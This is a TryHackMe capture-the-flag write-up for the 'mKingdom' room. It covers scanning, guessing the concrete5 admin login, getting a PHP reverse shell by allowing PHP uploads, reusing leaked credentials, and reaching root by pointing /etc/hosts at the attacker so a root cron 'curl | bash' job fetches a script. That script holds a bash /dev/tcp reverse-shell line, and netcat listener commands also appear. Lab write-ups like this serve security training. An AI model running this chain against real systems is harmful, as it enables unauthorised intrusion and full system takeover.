TryHackMe - mKingdom
Title | mKingdom |
---|---|
Difficulty | Easy |
Authors | tryhackme + uartuo |
Tags | CMS, concrete5, RCE, privileges escalation |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -Pn --min-rate 5000 mkingdom.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 11:26 EDT
Nmap scan report for mkingdom.thm (10.10.111.96)
Host is up (0.33s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
85/tcp open mit-ml-dev
Nmap done: 1 IP address (1 host up) scanned in 15.25 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 85 mkingdom.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 11:26 EDT
Nmap scan report for mkingdom.thm (10.10.111.96)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
TRACEROUTE (using port 85/tcp)
HOP RTT ADDRESS
1 255.22 ms 10.6.0.1
2 ... 3
4 326.14 ms mkingdom.thm (10.10.111.96)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.67 seconds
Port 85 is the only open port and it is currently hosting a website with Apache. Access the website in the browser and found nothing on it:
I tried to extract the data from the image on the website using several tools (steghide
, exiftool
, etc.), but it was just a rabbit hole.
Fuzzing
Using feroxbuster
to enumerate the directories of the web page and I found interesting things:
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mkingdom.thm:85/ -s 200 -r
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://mkingdom.thm:85/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
📍 Follow Redirects │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 98l 326w 50278c http://mkingdom.thm:85/img1.jpg
200 GET 33l 69w 647c http://mkingdom.thm:85/
200 GET 38l 67w 871c http://mkingdom.thm:85/app/
200 GET 240l 700w 12047c http://mkingdom.thm:85/app/castle/
200 GET 15l 49w 775c http://mkingdom.thm:85/app/castle/updates/
200 GET 15l 49w 777c http://mkingdom.thm:85/app/castle/packages/
200 GET 0l 0w 0c http://mkingdom.thm:85/app/castle/application/
200 GET 0l 0w 0c http://mkingdom.thm:85/app/castle/application/files/
200 GET 15l 49w 805c http://mkingdom.thm:85/app/castle/application/mail/
200 GET 15l 49w 807c http://mkingdom.thm:85/app/castle/application/tools/
200 GET 15l 49w 809c http://mkingdom.thm:85/app/castle/application/themes/
200 GET 15l 49w 805c http://mkingdom.thm:85/app/castle/application/jobs/
200 GET 15l 49w 809c http://mkingdom.thm:85/app/castle/application/blocks/
200 GET 0l 0w 0c http://mkingdom.thm:85/app/castle/application/config/app.php
200 GET 15l 49w 803c http://mkingdom.thm:85/app/castle/application/src/
200 GET 15l 49w 815c http://mkingdom.thm:85/app/castle/application/languages/
200 GET 15l 49w 825c http://mkingdom.thm:85/app/castle/application/authentication/
200 GET 15l 49w 813c http://mkingdom.thm:85/app/castle/application/elements/
200 GET 19l 94w 1627c http://mkingdom.thm:85/app/castle/application/config/
200 GET 15l 49w 807c http://mkingdom.thm:85/app/castle/application/views/
Access the /app
directory:
Analyze the script behind the JUMP button, but it seems that nothing is hidden except for redirecting the user to another location, which is /app/castle
. Let’s move on!
Analyzing
Moving around on the web page and I found these information:
Admin Username
By clicking on the ‘Blog’ section on the navigation bar, I discovered a straightforward blog that was released on July 1, 2014.
The author’s username is right under the blog title when accessed:
→ admin
CMS & Login Page
Scrolling down to the bottom of the web page, I discovered the CMS is used for this website and also the Log In button leads to the web-admin login page:
Exploit
The initial information is sufficient, it’s time to dig deeper into the target system!
CMS Version & Its Vulnerability
Since I discovered the CMS on the website, it’s particularly important to detect the exact version of the CMS in order to explore the specific vulnerabilities to exploit.
Press Ctrl + U
to view the source page —> Press Ctrl + F
and type in “concrete5” for searching, then I found the current version is being used:
<title>Home :: toad</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.5.2"/>
<link rel="canonical" href="http://mkingdom.thm:85/app/castle/index.php">
<script type="text/javascript">
→ 8.5.2
Googling with the keyword “concrete5 8.5.2 exploit” or “concrete5 8.5.2 vulnerability”, I easily found the RCE vulnerability applies to the concrete5 CMS within versions before 8.5.3:
The exploit process requires the Admin role in order to edit and allow other file types. Therefore, I need to log in successfully with the admin username first. Let’s swap to the Login page.
Admin Login
Due to the protection of the login page with ban IP after a few failed attempts, the only way is guessing the password (password guessing technique) for the admin
username.
And the final result is simply “password”.
→ Credentials: admin
:password
Remote Code Execution
When I got the admin user, I can now exploit the vulnerability that I’ve found before.
-
Click on the hamburger menu icon on the top-right corner —> Drop-down the “System & Settings” —> “Files” —> “Allowed File Types”:
-
Add “php” at the end of the list —> Click “Save”:
- Create a PHP reverse shell:
-
Click on the hamburger menu icon on the top-right corner —> Drop-down the “Files” —>”Files Manager” —> Click “Upload Files” —> Select & Upload the shell
Click “Close” after uploading the shell successfully:
-
Start a listener on the local machine:
┌──(kali㉿kali)-[~/TryHackMe/mKingdom] └─$ nc -lvnp 1234 listening on [any] 1234 ...
And click on the link to open & execute the shell:
Then I get connected to the target system:
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.68.89] from (UNKNOWN) [10.10.111.96] 45844
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:32:35 up 1:10, 0 users, load average: 0.07, 0.04, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
TTY Spawn Shell & Stabilize The Shell (Optional)
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
stty rows 38 columns 116
Post Exploitation
Privilege Escalation 1 → Toad
First, I detect the available users on the system by listing the /home
directory and I found 2:
www-data@mkingdom:/var/www/html/app/castle$ ls -l /home
total 8
drwx------ 15 mario mario 4096 Jan 29 2024 mario
drwxrwx--- 16 toad toad 4096 Jan 29 2024 toad
toad
’s directory seems less restricted than the mario
, so I started with this user first. I simply use grep
to find all the information of toad
in the web app directory (user www-data
’s directory):
www-data@mkingdom:/var/www/html/app/castle$ grep -R "toad"
application/config/generated_overrides/site.php: 'name' => 'toad',
application/config/database.php: 'username' => 'toad',
application/config/database.php: 'password' => '[REDACTED]',
Great! Easy one!
www-data@mkingdom:/var/www/html/app/castle$ su toad
Password:
toad@mkingdom:/var/www/html/app/castle$ cd
toad@mkingdom:~$ pwd
/home/toad
Privilege Escalation 2 → Mario
I kept manually enumerating the information of user mario
in the toad
’s directory until I found this base64 decoded string:
toad@mkingdom:~$ tail .bashrc
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
export PWD_token='aWthVGVOVEFOdEVTCg=='
Decode the string and I expected it is the mario
’s password:
toad@mkingdom:~$ echo "aWthVGVOVEFOdEVTCg==" | base64 -d
[REDACTED]
toad@mkingdom:~$ su mario
Password:
mario@mkingdom:/home/toad$ cd
mario@mkingdom:~$ pwd
/home/mario
Yes it is!
In mario
’s directory, I explore the user.txt
which is contain the first flag of the CTF room. However, I was not able to read the file in the current directory:
mario@mkingdom:~$ ls -lht
total 36K
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Desktop
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Documents
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Downloads
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Music
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Pictures
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Public
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Templates
drwxr-xr-x 2 mario mario 4.0K Jan 26 2024 Videos
-rw-r--r-- 1 root root 38 Nov 27 2023 user.txt
mario@mkingdom:~$ cat user.txt
cat: user.txt: Permission denied
But since I was mario
user and the file is in mario
’s directory, it is still available for me to copy the file into another directory and then read it:
mario@mkingdom:~$ cp user.txt /tmp/
mario@mkingdom:~$ cat /tmp/user.txt
thm{REDACTED}
Privilege Escalation 3 → Root
To escalate the privilege to the root user, I used find
command to find the vulnerable files and directories that include: “SUID/GUID”, “writable/readable/executable”, “SUDO rights”,… and I luckily found this one:
mario@mkingdom:~$ find /etc/ -type f -perm 04000 2>/dev/null
mario@mkingdom:~$ find /etc/ -type f -writable 2>/dev/null
/etc/hosts
/etc/hosts
file is writable, which means I can modify the domains and the IP addresses in it. Therefore, there must be a process running with root permissions that is relative to this file or the domains or the IP addresses or maybe all of them.
Flashback to a file that I’ve found earlier in toad
’s directory:
toad@mkingdom:~$ cat smb.txt
Save them all Mario!
\| /
....'''. |/
.'''''' '. \ |
'. .. ..''''. \| /
'...'' '..'' .' |/
.sSSs. '.. ..' \ |
.P' `Y. ''' \| /
SS SS |/
SS SS |
SS .sSSs. .===.
SS .P' `Y. | ? |
SS SS SS `==='
SS "" SS
P.sSSs. SS
.P' `Y. SS
SS SS SS .===..===..===..===.
SS SS SS | || ? || || |
"" SS SS .===.`==='`==='`==='`==='
.sSSs. SS SS | |
.P' `Y. SS SS .===.`==='
SS SS SS SS | |
SS SS SS SS `==='
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
The file smb.txt
appears to contain a playful ASCII art message, and it uses only 3 words “P”, “S”, and “Y”. This reminds me a tool called pspy
which is used for monitoring real-time processes and cronjobs on Linux system.
Within the hint, I downloaded the pspy32 and transferred it to the target machine and then execute it:
Waited for a minute and I captured interested lines:
curl mkingdom.thm:85/app/castle/application/counter.sh
/bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
Shortly, these 2 commands are automatically executed in every minute to:
- Fetch (download) a script
coutner.sh
from:- Host:
mkingdom.thm
- Port: 85
- Destination:
/app/castle/application/
- Host:
- Execute it with
bash
- And finally save the result of the script into
/var/log/up.log
So, if I modify the IP address of mkingdom.thm
in /etc/hosts
to my own local IP address:
mario@mkingdom:~$ cat /etc/hosts
127.0.0.1 localhost
10.6.68.89 mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
127.0.0.1 www.concrete5.org
127.0.0.1 newsflow.concrete5.org
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
And then I create a sub-directory as same as the destination has been mentioned on my local machine within a reverse shell named as “counter.sh
”:
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ mkdir -p app/castle/application/
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ nano app/castle/application/counter.sh
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ cat app/castle/application/counter.sh
#!/bin/bash
bash -i >& /dev/tcp/10.6.68.89/4444 0>&1
Finally, do the last 2 things:
- Start a listener on the specified port in the reverse shell
counter.sh
- Start an HTTP server on port
85
in the current directory
Wait for a while and observe whether the created shell has been transferred and the listener has successfully connected to the target machine as the root user. Using the same technique as mario
’s directory, copy the root.txt
file to /tmp
. I am ready to capture the root flag.
root@mkingdom:~# cp root.txt /tmp/root.txt
cp root.txt /tmp/root.txt
root@mkingdom:~# cat /tmp/root.txt
cat /tmp/root.txt
thm{REDACTED}